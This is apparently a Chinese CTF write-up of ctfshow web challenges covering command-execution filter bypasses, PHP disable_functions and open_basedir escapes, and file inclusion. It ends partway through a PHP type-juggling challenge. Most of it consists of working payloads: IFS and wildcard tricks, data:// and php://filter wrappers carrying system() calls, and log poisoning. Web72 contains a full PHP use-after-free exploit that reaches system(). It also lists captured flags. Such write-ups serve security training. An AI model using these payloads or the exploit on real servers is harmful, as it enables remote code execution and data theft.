# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
新过滤\x26、\x09,%09被过滤掉了就用重定向符绕过即可
注:<>?同时使用不回显 所以用\代替?
payload
?c=tac<fl''ag.php||
?c=nl<fl''ag.php||
?c=tac<>fl\ag.php||
ctfshow{26b2154e-9d20-4af9-88b9-3c6cfe06e229}

# web51

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
新过滤掉了tac,nl绕过即可
payload
?c=nl<fl\ag.php||
?c=nl<fl''ag.php||
ctfshow{429fb4d3-1c93-4a1d-9c19-6c85db70409a}

# web52

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
新过滤了<>
payload1:
?c=ls${IFS}/||	检查根目录发现有flag文件
?c=nl${IFS}/fl''ag||
payload2
?c=nl$IFS/fl''ag||
ctfshow{70c7c4b8-9cf2-4c77-8028-5633a799061c}

# web53

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
新添加回显打印
payload:
?c=nl${IFS}fl''ag.php
?c=ca''t${IFS}fl''ag.php
ctfshow{9a8e38e5-fbb1-4060-8025-6457dcb87d6e}

# web54

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
换花样过滤,全员添加*号,新过滤了nl、scp、rm
payload1:
?c=uniq${IFS}????.???	// 用来去除文本文件中连续的重复行
?c=grep${IFS}'{'${IFS}fl??.php	// 在 fl??.php 匹配到的文件中,查找含有 {的文件,并打印出包含 {的这一行
?c=/bin/?at${IFS}f???????
payload2:
?c=ls	// 先看 flag 文件名格式
?c=mv${IFS}fla?.php${IFS}a.txt	// 将 flag 文件改名成 a.txt
直接访问a.txt即可
ctfshow{4e47e814-2e5f-47a0-8b02-23d0fc5cc005}

# web55

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
过滤掉分号、a-z的字母、反单引号、百分号、%09、%26、<>

payload1:
?c=/???/????64 ????.???		//利用/bin文件下base64得到flag

payload2:

先构造 POST 方式上传数据包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://d4b9ed05-26dc-46ee-8f55-957445c8022d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!-- 链接是当前打开的题目链接 -->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后再上传 php 执行命令文件

#!/bin/sh
ls

再抓包

image-20230131172326458

image-20230131172419233

ctfshow{6f8b48b6-9bc6-4c7e-b670-9dbf64a9c70f}

# web56

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
过滤掉了数字
同web55无字母数字的命令执行
payload
?c=.%20/???/????????[@-[]
ctfshow{63b5cec7-6d15-42b6-bee2-fca53ac2e070}

# web57

命令执行,需要严格的过滤,已测试,可绕

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}
过滤了字母、数字、分号、2个通配符
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在(())之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
echo ${_} ="" // 返回上一次命令
echo $(())  //=0
    //~ 取反
echo $((~$(())))	//=-1
echo $(($((~$(())))$((~$(())))))	//=-2
以此类推得到payload
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
ctfshow{e05e5667-84e6-46a7-a067-f04e7668ec7c}

# web58

命令执行,突破禁用函数

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
各种命令执行函数都禁用了,新知识file_get_contents()

payload:
c=show_source('flag.php');

payload2:
c=echo file_get_contents('flag.php');
ctfshow{4238bd73-196d-48b9-862e-a69c6d0fa3e6}

# web59

命令执行,突破禁用函数

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
这次禁用了file_get_contents(),但学到新知识include包含


payload:
c=show_source('flag.php');

payload2:
post:c=include($_GET[1]);
?1=php://filter/read=convert.base64-encode/resource=flag.php
ctfshow{4d87fe96-9642-49b8-b744-e4c7dab09324}

# web60

命令执行,突破禁用函数

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
学到新知识,higtlight_file()

payload:
post:c=include($_GET[1]);
?1=php://filter/read=convert.base64-encode/resource=flag.php

payload2:
c=show_source('flag.php');

payload3:
c=highlight_file('flag.php');
ctfshow{f9f2fb7a-81ac-4957-ad1f-854be96f722c}

# web61

命令执行,突破禁用函数

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
payload:
c=show_source('flag.php');

payload2:
c=highlight_file('flag.php');
ctfshow{2b6eea44-6add-4cce-b493-5ebe63984a61}

# web62

命令执行,突破禁用函数

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
payload:
c=include('flag.php');echo $flag;
ctfshow{9a7803c3-0788-40fd-8f01-fe77533d832c}

# web63

命令执行,突破禁用函数

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
新知识var_dump(get_defined_vars())	//获取所有注册变量
payload:
c=include('flag.php');var_dump(get_defined_vars());
ctfshow{50fc64f3-422d-4eb5-a4fb-9a6be342966e}

# web64

命令执行,突破禁用函数,真的是 秀不过你们

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
payload:
c=include('flag.php');var_dump(get_defined_vars());

payload2:
c=highlight_file('flag.php');

payload3:
c=show_source('flag.php');
ctfshow{ba1dc4b3-3df1-4349-aec2-42f8b948ce91}

# web65

命令执行,突破禁用函数,求你们别秀了

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
同上白嫖payload
ctfshow{f07b04e9-ec66-475a-adaa-dcb71a4ee326}

# web66

命令执行,突破禁用函数,求你们别秀了

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
新过滤了show_source()函数。

这时我们用highlight_file()函数查看,发现可能flag不在这个位置,print_r(scandir('.'))查看flag有没有改名,再查看一下根目录,发现有个flag.txt查看记得得到flag
payload
c=highlight_file('/flag.txt');
ctfshow{10798615-2191-4957-89d5-336c633d6d3c}

# web67

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
过滤了print_r,题解跟上题一致,用var_dump()即可

payload:
c=highlight_file('/flag.txt');
ctfshow{623b27c5-a9ad-46dc-8d0c-3afb735cac76}

# web68

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
相当于highlight_file()被禁用了,但尝试后发现include和var_dump没有过滤

payload:
c=var_dump(scandir('/'));	//发现flag.txt
c=include('/flag.txt');	//因为flag.txt没有php前缀,所以直接回显内容
ctfshow{64e1a348-7dd5-43a0-9f0e-922f00bc27a1}

# web69

禁用了 var_dump (),但 payload 和上题同解,问就是猜的

# web70

payload 和上题同解,问就是猜的

# web71

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?
解题思路:
eval()已经执行然后讲结果替换成问号,那我们就在eval执行完后结束程序

payload:
c=include('/flag.txt');exit();
ctfshow{2e525fc3-7391-4395-a9d4-45ce5f0a91c1} 

# web72

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?
存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约
// 此脚本获取文件名
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f."    " ;
}
 
exit();
// 此脚本绕过 open_basedir 和 disable_functions,URL 编码得到结果
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 
    ($helper->b)($cmd);
    exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
ctfshow{434f032d-5f1b-451a-9c5c-b090d734d653}

# web73

新知识var_export()

payload:
c=var_export(scandir('/'));exit();
c=include('/flagc.txt');
ctfshow{48365bc1-67eb-479a-9f3e-55675d4d9b89} 

# web74

止步于此

# 文件包含

# web78

文件包含系列开始

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
ctfshow{9af9735a-bd46-4605-ac75-b394be6da3cd}

# web79

文件包含系列开始

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
将php替换成???,data://伪协议绕过即可

payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=	//<?php system('cat flag');
ctfshow{5d32ac0e-6caf-4f29-8b9c-1f18d2984b65}

# web80

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

image-20230215132610547

日志包含注入漏洞即可

ctfshow{4cdc8e27-0c24-4173-840c-223a72d9fd74}

# web81

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

image-20230215133628740

同日志包含注入即可

ctfshow{974ebae8-9353-4c02-b82b-5b3893384219}

# web82

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

# web87

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
}
这里他改变了形式,成写入,绕过过滤写入个文件即可

?file=php://filter/write=string.ror13/resource=1.php

这里因为file_put_contents(urldecode)所以我们需要对以上代码进行urlencode全字符编码两次
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

然后post方式输出content=<?php system('tac f*.php');?>
<?php system('tac f*.php');?>需要进行rot13编码


payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
post:content=<?cuc flfgrz('gnp s*.cuc');?>

ctfshow{3d4bd38d-7bbc-43df-a5ab-6833c91e9edf}

# web88

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}
过滤了很多,但是没过滤:所以还是能用php伪协议,这里我们用data://,base64时记得删掉后面的=

payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs
ctfshow{30bb2962-3cc0-427e-906e-8d32462fe7c4}

# web116

剪辑视频

抓包

file=flag.php

即可返回 flag

# php 特性

# web89

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
过滤了数字,我们可以利用数组绕过

payload:
?num[]=1

# web90

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
4476转换十六进制0x117c

payload:
?num=0x117c		//十六进制
?num=010574		//八进制	
?num=4476a		//===强比较

# web91

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com
*/
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
这里主要的突破点就是/m,我们可以看到第一个preg_match()函数,有个/m,而第二个正则则没有,我们可以利用换行进行绕过%0a

payload:
?cmd=%0aphp

# web92

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
